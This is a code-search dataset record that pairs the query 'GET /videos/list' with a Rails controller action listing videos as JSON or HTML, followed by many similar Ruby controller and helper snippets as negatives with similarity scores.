"def file_name\n # file = full_name\n # file = file.gsub('::', '/')\n # file = file.gsub('#' , '/')\n # file = file.gsub('.' , '-')\n # #file = File.join(output, file + '.html')\n # file\n WebRI.entry_to_path(full_name)\n end",
"def file_name\n name.underscore\n end",
"def name\n File.basename(@path)\n end",
"def name\n File.basename(@path)\n end",
"def name\n File.basename(@path)\n end",
"def get_basename(file_path)\n File.basename file_path\n end",
"def get_command_line_argument\n if ARGV.empty?\n puts \"Usage: ruby lookup.rb <domain>\" \n exit\n end ARGV.first # get frst argument in commnad line\nend",
"def filename\n return unless original_filename\n\n extension = File.extname(original_filename)\n name = File.basename(original_filename, extension)\n\n \"#{Time.current.to_i.to_s}-#{name.parameterize}#{extension}\"\n end",
"def file_title(path)\n filename_from_path(path).split(\".\")[0]\n end",
"def name\n File.basename(__FILE__, '.rb')\n end",
"def basename(file)\n File.basename(file, \".*\")\n end",
"def filename(file)\n name = if file.respond_to?(:original_filename)\n file.original_filename\n else\n File.basename(file)\n end\n Pathname.normalize_filename(name)\n end",
"def file_name\n \"/\" + current_file.path.split('/').pop\n end",
"def this_script_filename\n Pathname.new($0).realpath\n end",
"def file(filename) File.read(File.absolute_path(filename, File.dirname($PROGRAM_NAME))) end",
"def filename\n @file\n end",
"def basename(fn)\n split_filename(fn).last\n end",
"def script_name # not file name\n sname = fetch(:script_name)\n return sname if sname\n name = dklet_script.basename('.rb').to_s\n pname = script_path.basename.to_s\n \"#{pname}_#{name}\"\n end",
"def basename(file_path)\n filename = File.basename(file_path)\n return filename.split('.')[0].to_sym if file_path\n end",
"def filename\n @filename || @options[:filename]\n end",
"def real_main_file_name\n @real_main_file_name ||= File.basename( main_file_path )\n end",
"def original_filename\n File.basename(@file_path)\n end",
"def base_name\n File.basename(file_name)\n end",
"def filename=(_arg0); end",
"def filename=(_arg0); end",
"def filename=(_arg0); end",
"def basename(fn)\n split_filename(fn).last\n end",
"def project_name\n if arguments[1]\n arguments[1]\n else\n File.basename(repo.root)\n end\n end",
"def winArgHack(file)\n ARGV.shift if !ARGV.empty? && ARGV[0] && File.exist?(ARGV[0]) && File.basename(ARGV[0]) == File.basename(file)\n end",
"def filename\n Dir[glob].first if exists?\n end",
"def get_folder_name\n check_if_user_gave_input\n return folder_name = ARGV.first\nend",
"def filename\n @data[10..-1]\n end",
"def basename( fn )\n ::File.basename(fn, '.*')\n end",
"def printable_part(pathname)\r\n if (!@rl_filename_completion_desired) # don't need to do anything\r\n return (pathname)\r\n end\r\n\r\n temp = pathname.rindex('/')\r\n return pathname if temp.nil?\r\n File.basename(pathname)\r\n end",
"def full_filename(for_file)\n #[remote_process!, for_file].join(\".\")\n for_file\n end",
"def filename\n __advance!\n @_st_fileName\n end",
"def filename\n @name ||= \"#{timestamp}-#{secure_token(8)}.#{file.extension}\" if original_filename.present?\n end",
"def usage\n \"Usage: #{File.basename __FILE__} BIBID_DIR_CSV\"\nend",
"def filename(name)\n @filename = name.downcase.strip.gsub(' ', '-')\n end",
"def filename\n if url\n url.match(%r{([^\\/]+\\z)})[0]\n else\n nil\n end\n end"
] | [
"0.77927077",
"0.7779101",
"0.7300655",
"0.7148661",
"0.6960506",
"0.69362074",
"0.67874384",
"0.6714737",
"0.66138756",
"0.6603715",
"0.6600954",
"0.6587218",
"0.656159",
"0.65416855",
"0.65361786",
"0.6511452",
"0.65007526",
"0.64964217",
"0.6486411",
"0.64616",
"0.6460324",
"0.6418706",
"0.64083374",
"0.63986325",
"0.6393049",
"0.635852",
"0.6340189",
"0.6313679",
"0.6306377",
"0.6300814",
"0.6300814",
"0.62801033",
"0.62801033",
"0.62779284",
"0.62779284",
"0.6253646",
"0.62476546",
"0.6237505",
"0.6229505",
"0.6229505",
"0.6226983",
"0.6226983",
"0.6210728",
"0.62067145",
"0.62066257",
"0.62066257",
"0.6203078",
"0.6199731",
"0.61904544",
"0.6188467",
"0.61801666",
"0.6174766",
"0.6174673",
"0.6164344",
"0.61606675",
"0.61606675",
"0.61503714",
"0.61400247",
"0.6126992",
"0.61245465",
"0.61137056",
"0.60965174",
"0.6096111",
"0.6088878",
"0.6088878",
"0.6088878",
"0.6088088",
"0.60793936",
"0.6060009",
"0.6051067",
"0.6049641",
"0.6044233",
"0.60311365",
"0.6031098",
"0.6017458",
"0.60151345",
"0.6002197",
"0.59962934",
"0.5995849",
"0.5994344",
"0.598138",
"0.59754527",
"0.59752274",
"0.5974134",
"0.5969387",
"0.5969387",
"0.5969387",
"0.5963632",
"0.59621024",
"0.5959895",
"0.59551525",
"0.5953514",
"0.5944281",
"0.5943038",
"0.5938449",
"0.59366333",
"0.59349185",
"0.59315854",
"0.5931251",
"0.5923315",
"0.59215283"
] | 0.0 | -1 |
GET /videos GET /videos.json | def index
@videos = Video.order('created_at DESC').page params[:page]
respond_to do |format|
format.html # index.html.erb
format.json { render json: @videos }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def videos options={}\n response = client.get(\"/#{id}/videos\", options)\n end",
"def index\n @videos = Video.all\n render json: @videos\n end",
"def list\n @videos = Video.all\n\n respond_to do |format|\n format.html # list.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = current_user.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def get_album_videos album_id\n get(\"/albums/#{album_id}/videos\")\n end",
"def index\n @videos = current_user.videos\n respond_with(@videos)\n end",
"def show\n @video = current_user.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def index\n\n\n\n @yt_client = YouTubeIt::Client.new(:dev_key => ENV[\"YOUTUBE_DEV_KEY\"])\n\n @videos = Video.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def show\n render json: @video\n end",
"def show\n render json: @video\n end",
"def index\n #@videos = Video.all\n @videos = Video.paginate(:page => params[:page], :per_page => 25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @videos = Video.find_by(id: params[:id])\n end",
"def index\n @videos = Video.pluck 'title'\n @videos = Video.order('created_at DESC')\n respond_to do |format|\n format.html{}\n format.json { render :json => @videos }\n end\n end",
"def resources\n videos\n end",
"def videos()\n\t\treturn Videos.new(@credentials.client_key, @credentials.get_access_token)\n\tend",
"def videos( params={} )\n videos = get_connections(\"videos\", params)\n return map_connections videos, :to => Facebook::Graph::Video\n end",
"def list_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: VideoApi.list_videos ...\"\n end\n # resource path\n local_var_path = \"/videos\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Video>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VideoApi#list_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @videos = @item.videos\n end",
"def index\n @videos = @item.videos\n end",
"def index\n @videos = current_user.videos\n end",
"def video_list(login = nil, authenticated = false, page=1)\n result = []\n response = nil\n if authenticated\n response = auth_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n else\n response = public_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n end\n if response and response.body\n doc = REXML::Document.new response.body\n videos = doc.elements['videos']\n videos.elements.each('video') do |video|\n result << Video.new(video.to_s)\n end\n end\n result\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def show\n @yt_client = YouTubeIt::Client.new(:dev_key => \"AI39si6hkRNCL77mzzv1LycIohZtksVIi0L5S9lQMx6crqOfGdyKcB2U2M5WHeNBUT2VLgTVzjR9rxPa1RJZw-sZ6wqtnaZ7AA\")\n @video = Video.find(params[:id])\n\n @comments = @video.comments.all\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def load_videos2\n json = File.read(VIDEOS2_FILE)\n array = JSON.parse(json)\n array[\"videos\"].map! { |v| {\"postId\" => v[\"postId\"], \"wordList\" => v[\"wordList\"]}}\n array[\"videos\"]\n end",
"def get_folder_videos folder_id, **args\n get(\"/projects/#{folder_id}/videos\", args)\n end",
"def show\n @videos = Video.all\n @video = @videos.find params[:id]\n end",
"def show\n @c_video = CVideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @c_video }\n end\n end",
"def get_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.get_videos ...\"\n end\n # resource path\n local_var_path = \"/media/videos\"\n\n # query parameters\n query_params = {}\n query_params[:'exclude_flagged'] = opts[:'exclude_flagged'] if !opts[:'exclude_flagged'].nil?\n query_params[:'filter_videos_by_uploader'] = opts[:'filter_videos_by_uploader'] if !opts[:'filter_videos_by_uploader'].nil?\n query_params[:'filter_category'] = opts[:'filter_category'] if !opts[:'filter_category'].nil?\n query_params[:'filter_tagset'] = opts[:'filter_tagset'] if !opts[:'filter_tagset'].nil?\n query_params[:'filter_videos_by_name'] = opts[:'filter_videos_by_name'] if !opts[:'filter_videos_by_name'].nil?\n query_params[:'filter_videos_by_contributor'] = opts[:'filter_videos_by_contributor'] if !opts[:'filter_videos_by_contributor'].nil?\n query_params[:'filter_videos_by_author'] = opts[:'filter_videos_by_author'] if !opts[:'filter_videos_by_author'].nil?\n query_params[:'filter_has_author'] = opts[:'filter_has_author'] if !opts[:'filter_has_author'].nil?\n query_params[:'filter_has_uploader'] = opts[:'filter_has_uploader'] if !opts[:'filter_has_uploader'].nil?\n query_params[:'filter_related_to'] = opts[:'filter_related_to'] if !opts[:'filter_related_to'].nil?\n query_params[:'filter_friends'] = opts[:'filter_friends'] if !opts[:'filter_friends'].nil?\n query_params[:'filter_disposition'] = opts[:'filter_disposition'] if !opts[:'filter_disposition'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceVideoResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#get_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def video\n YouTubeApi.find_video(youtube_id)\n end",
"def index\n #@videos = Video.all\n Video.delete_database_and_files_on_server\n @video = Video.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = @user.videos\n @videos = @videos.order(:id).page params[:page]\n end",
"def show \n @project = Project.find params[:id]\n @videos = @project.videos\n end",
"def show\n render :json => @video, :include => ALL_INCLUDES\n end",
"def index\n @videos = @palestrante.videos.mais_novos\n end",
"def index\n authorize! :read, @videos\n @videos = searchitems(params[:search],Video,'video_name')\n @video = @videos.first\n end",
"def index\n if params.include?(:scene_id)\n @videos = Video.with_scene_id(params[:scene_id])\n\n respond_to do |format|\n format.json { render :json => @videos }\n format.html # index.html.erb\n end\n else\n raise CanCan::AccessDenied.new(\"Not authorized!\")\n end\n end",
"def myvideos\n @videos = @current_user.videos.all\n end",
"def my_video(video_id)\n client.get_my_video(video_id)\n end",
"def index\n begin\n @active_page = \"videos\"\n @videos = Video.all\n @is_create_channel = current_user.channel.blank?\n respond_with(@videos)\n rescue Exception => e\n log_error(e, \"Error occured in Index action of VideosController\")\n flash_error(t('videos.index_page_load_error'))\n end\n end",
"def index\n @videos = Video.where(user_id: current_user.id)\n end",
"def index\n @medio_videos = MedioVideo.all\n end",
"def index\n ip = index_params()\n published = ip[:published].boolean? ? ip[:published] : (ip[:published].nil? ? DEFAULT_PUBLISHED : ip[:published].to_b)\n @videos = Video.includes(:video_motifs).where(:published => published)\n @motif_ids = ip[:motif_ids] || (ip[:query] || []).select { |val|\n val.starts_with? '__'\n }.map { |val| val[2..-1] }\n @keywords = ip[:keywords] || (ip[:query] || []).select { |val|\n !val.starts_with? '__'\n }\n @videos = @videos.has_combined_motifs(@motif_ids) if !@motif_ids.empty?\n @videos = @videos.keywords_include(@keywords) if !@keywords.empty?\n @videos = @videos.order('created_at DESC')\n render :json => @videos, :include => ALL_INCLUDES\n end",
"def getVideos\n\t\tvideos = JSON.parse(RestClient.get(\"https://#{Cbthelper.username}:#{Cbthelper.authkey}@crossbrowsertesting.com/api/v3/selenium/#{@testId}/videos/\"))\t\n\t\tret = []\n\n\t\tfor video in videos\n\t\t\tret.push(Video.new(video[\"hash\"], @testId))\n\n\t\tend\n\n\t\treturn ret\n\tend",
"def videos_for_page(page_number)\n @client.get('viddler.videos.getByUser', :user => @username, :per_page => API_PER_PAGE,\n :page => page_number, :visibility => 'public,embed')['list_result']['video_list']\n end",
"def list\n respond_to do |format|\n format.html { render partial: 'videos/issues_video_container', locals: {videos: Video.where(issue_id: params[:issue_id]).page(params[:page]).per(params[:per]), issue: Issue.where(id: params[:issue_id])} }\n format.json { render json: Video.where(issue_id: params[:issue_id]).page(params[:page]).per(params[:per])}\n end\n end",
"def show\n @jeux_videos = JeuxVideo.find(params[:id])\n \n end",
"def index\r\n @videos = Video.all.select{|v| v.is_visible and v.is_valid}.sort_by{|v| v[:created_at]}.reverse\r\n\r\n respond_to do |format|\r\n format.html { render :layout => false } #index.html.erb\r\n format.json { render json: @videos }\r\n end\r\n end",
"def get_videos(opts = {})\n data, _status_code, _headers = get_videos_with_http_info(opts)\n return data\n end",
"def show\n @user_video = UserVideo.find(params[:id]) \n @vid_id = @user_video.video_embed.split('?v=')[1]\n @u = \"http://www.youtube.com/embed/\" + @vid_id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_video }\n end\n end",
"def list(key, **options)\n\t\t\t\tjson = get_request(options.merge(:method => 'list',\n\t\t\t\t\t\t\t\t\t\t\t\t :video_key => key))\n\t\t\t\tres = JSON.parse(json.body)\n\t\t\t\t\n\t\t\t\tif json.status == 200\n\t\t\t\t\tresults = process_list_response(res)\n\t\t\t\telse\n\t\t\t\t\traise \"HTTP Error #{json.status}: #{json.body}\"\n\t\t\t\tend\n\n\t\t\t\treturn results\n\t\t\tend",
"def index\n @game_videos = GameVideo.all\n end",
"def index\n @community_member_videos = @community_member_profile.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @community_member_videos }\n end\n end",
"def list_assets\n get('/video/v1/assets')\n end",
"def index\n @videos = Video.where(project_id: @project.id)\n end",
"def videos\n video_ids = []\n @list_data['items'].each do |top_video|\n video_ids.push(top_video['id']['videoId']) unless top_video['id']['videoId'].nil?\n end\n\n # since we need to call youtube/api/videos to get the embed_link\n videos_data = @gateway.certain_id_videos_data(video_ids)\n @top_video_mapper.build_video_items(videos_data['items'])\n end",
"def new\n \n @video = Video.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def videos_for(items, key, options)\n items.body['items'].map{|item| item['id'] = item[key]['videoId']}\n\n if options[:parts] == %i(id)\n items\n else\n options[:ids] = items.body['items'].map{|item| item['id']}\n options[:offset] = nil\n fetch('/youtube/v3/videos', resource_params(options)).tap do |response|\n response.body['nextPageToken'] = items.body['nextPageToken']\n end\n end\n end",
"def index\n @q = Video.search(params[:q])\n @videos = @q.result(distinct: true).page(params[:page])\n end",
"def video_by(params)\n params = {:video_id => params} if !params.is_a?(Hash)\n url = \"http://gdata.youtube.com/feeds/api/\"\n video_id = params[:video_id].split(\"/\").last\n if params[:user]\n url << \"users/#{params[:user]}/uploads/#{video_id}\"\n else\n url << \"videos/#{video_id}\"\n end\n parser = YouTubeG::Parser::VideoFeedParser.new(url, request_headers, request_options)\n parser.parse\n end",
"def index\n @videos = Video.order(date: :desc).page(params[:page]).per(20)\n end",
"def index\n @adm_videos = Adm::Video.all\n end",
"def index\n @jeux_videos = JeuxVideo.all\n end",
"def show\n @video = Video.find(params[:id])\n respond_with(@video)\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end"
] | [
"0.8300022",
"0.7734552",
"0.77048963",
"0.75849354",
"0.74897736",
"0.74893093",
"0.74893093",
"0.74893093",
"0.74893093",
"0.74756104",
"0.73633087",
"0.7358063",
"0.7357167",
"0.72600365",
"0.7200847",
"0.7194637",
"0.71250415",
"0.71250415",
"0.71250415",
"0.71250415",
"0.71250415",
"0.71250415",
"0.71250415",
"0.7085412",
"0.70684433",
"0.7036135",
"0.7017698",
"0.699443",
"0.6991208",
"0.6979618",
"0.6979618",
"0.69204074",
"0.69184655",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.68932444",
"0.6818995",
"0.68098456",
"0.68083775",
"0.6794046",
"0.6744188",
"0.67403173",
"0.67352504",
"0.6722808",
"0.6694471",
"0.6689885",
"0.66561776",
"0.6641832",
"0.6627515",
"0.6626942",
"0.66121143",
"0.65826446",
"0.65740263",
"0.6573361",
"0.6566227",
"0.6564764",
"0.65575427",
"0.6553287",
"0.654354",
"0.65110373",
"0.65088034",
"0.65042096",
"0.6498",
"0.6494269",
"0.64890003",
"0.64888495",
"0.648101",
"0.6469039",
"0.6464926",
"0.6459276",
"0.6454772",
"0.6450189",
"0.64495236",
"0.6440387",
"0.64381814",
"0.64281625",
"0.64088345",
"0.6408569",
"0.6408569",
"0.6408569",
"0.6408569",
"0.6408569",
"0.6408569",
"0.6408569",
"0.6408569"
] | 0.730496 | 13 |
GET /videos/list GET /videos/list.json | def list
@videos = Video.all
respond_to do |format|
format.html # list.html.erb
format.json { render json: @videos }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def videos options={}\n response = client.get(\"/#{id}/videos\", options)\n end",
"def index\n @videos = Video.all\n render json: @videos\n end",
"def video_list(login = nil, authenticated = false, page=1)\n result = []\n response = nil\n if authenticated\n response = auth_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n else\n response = public_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n end\n if response and response.body\n doc = REXML::Document.new response.body\n videos = doc.elements['videos']\n videos.elements.each('video') do |video|\n result << Video.new(video.to_s)\n end\n end\n result\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def list(key, **options)\n\t\t\t\tjson = get_request(options.merge(:method => 'list',\n\t\t\t\t\t\t\t\t\t\t\t\t :video_key => key))\n\t\t\t\tres = JSON.parse(json.body)\n\t\t\t\t\n\t\t\t\tif json.status == 200\n\t\t\t\t\tresults = process_list_response(res)\n\t\t\t\telse\n\t\t\t\t\traise \"HTTP Error #{json.status}: #{json.body}\"\n\t\t\t\tend\n\n\t\t\t\treturn results\n\t\t\tend",
"def index\n @videos = Video.pluck 'title'\n @videos = Video.order('created_at DESC')\n respond_to do |format|\n format.html{}\n format.json { render :json => @videos }\n end\n end",
"def index\n @videos = current_user.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = current_user.videos\n respond_with(@videos)\n end",
"def index\n @videos = Video.order('created_at DESC').page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n #@videos = Video.all\n @videos = Video.paginate(:page => params[:page], :per_page => 25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videolists = Videolist.all\n end",
"def list_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: VideoApi.list_videos ...\"\n end\n # resource path\n local_var_path = \"/videos\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Video>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VideoApi#list_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n\n\n\n @yt_client = YouTubeIt::Client.new(:dev_key => ENV[\"YOUTUBE_DEV_KEY\"])\n\n @videos = Video.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def list\n respond_to do |format|\n format.html { render partial: 'videos/issues_video_container', locals: {videos: Video.where(issue_id: params[:issue_id]).page(params[:page]).per(params[:per]), issue: Issue.where(id: params[:issue_id])} }\n format.json { render json: Video.where(issue_id: params[:issue_id]).page(params[:page]).per(params[:per])}\n end\n end",
"def list_assets\n get('/video/v1/assets')\n end",
"def video_list\n self.video_list = videos.map { |video| video[\"title\"] }\n end",
"def index\n @videos = @item.videos\n end",
"def index\n @videos = @item.videos\n end",
"def get_album_videos album_id\n get(\"/albums/#{album_id}/videos\")\n end",
"def videos()\n\t\treturn Videos.new(@credentials.client_key, @credentials.get_access_token)\n\tend",
"def index\n @videos = current_user.videos\n end",
"def index\n @videos = Video.order(date: :desc).page(params[:page]).per(20)\n end",
"def index\n @videos = @user.videos\n @videos = @videos.order(:id).page params[:page]\n end",
"def videos( params={} )\n videos = get_connections(\"videos\", params)\n return map_connections videos, :to => Facebook::Graph::Video\n end",
"def videos_for_page(page_number)\n @client.get('viddler.videos.getByUser', :user => @username, :per_page => API_PER_PAGE,\n :page => page_number, :visibility => 'public,embed')['list_result']['video_list']\n end",
"def show\n @videos = Video.find_by(id: params[:id])\n end",
"def get_all_videos\n # get the first set of results\n video_list = []\n start_index = 1\n response = YouTubeApiCallsHelper.get_video_list(start_index)\n YouTubeApiCallsHelper.parse_video_list(response.body, video_list)\n total_results = YouTubeApiCallsHelper.get_total_results(response.body)\n\n # if there are more results to fetch, loop till we have them all\n while video_list.length < total_results\n start_index += YouTubeApiCallsHelper::MAXRESULTS\n response = YouTubeApiCallsHelper.get_video_list(start_index)\n YouTubeApiCallsHelper.parse_video_list(response.body, video_list)\n end\n\n return video_list\n end",
"def getVideos\n\t\tvideos = JSON.parse(RestClient.get(\"https://#{Cbthelper.username}:#{Cbthelper.authkey}@crossbrowsertesting.com/api/v3/selenium/#{@testId}/videos/\"))\t\n\t\tret = []\n\n\t\tfor video in videos\n\t\t\tret.push(Video.new(video[\"hash\"], @testId))\n\n\t\tend\n\n\t\treturn ret\n\tend",
"def index\r\n @videos = Video.all.select{|v| v.is_visible and v.is_valid}.sort_by{|v| v[:created_at]}.reverse\r\n\r\n respond_to do |format|\r\n format.html { render :layout => false } #index.html.erb\r\n format.json { render json: @videos }\r\n end\r\n end",
"def videos\n video_ids = []\n @list_data['items'].each do |top_video|\n video_ids.push(top_video['id']['videoId']) unless top_video['id']['videoId'].nil?\n end\n\n # since we need to call youtube/api/videos to get the embed_link\n videos_data = @gateway.certain_id_videos_data(video_ids)\n @top_video_mapper.build_video_items(videos_data['items'])\n end",
"def index\n @q = Video.search(params[:q])\n @videos = @q.result(distinct: true).page(params[:page])\n end",
"def resources\n videos\n end",
"def index\n #@videos = Video.all\n Video.delete_database_and_files_on_server\n @video = Video.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @adm_videos = Adm::Video.all\n end",
"def index\n authorize! :read, @videos\n @videos = searchitems(params[:search],Video,'video_name')\n @video = @videos.first\n end",
"def index\n authorize! :index, Video\n @admin_videos = Admin::Video.accessible_by(current_ability, :read)\n @admin_videos = @admin_videos.search(params[:search]) unless params[:search].blank?\n @admin_videos = @admin_videos.order(\"#{sort_column} #{sort_direction}\") unless sort_column.blank?\n @admin_videos = @admin_videos.paginate(page: params[:page], per_page: params[:per_page] || 100)\n end",
"def index\n @videos = Video.paginate(:per_page => 25, :page => params[:page]).order(:created_at.desc)\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def index\n begin\n @active_page = \"videos\"\n @videos = Video.all\n @is_create_channel = current_user.channel.blank?\n respond_with(@videos)\n rescue Exception => e\n log_error(e, \"Error occured in Index action of VideosController\")\n flash_error(t('videos.index_page_load_error'))\n end\n end",
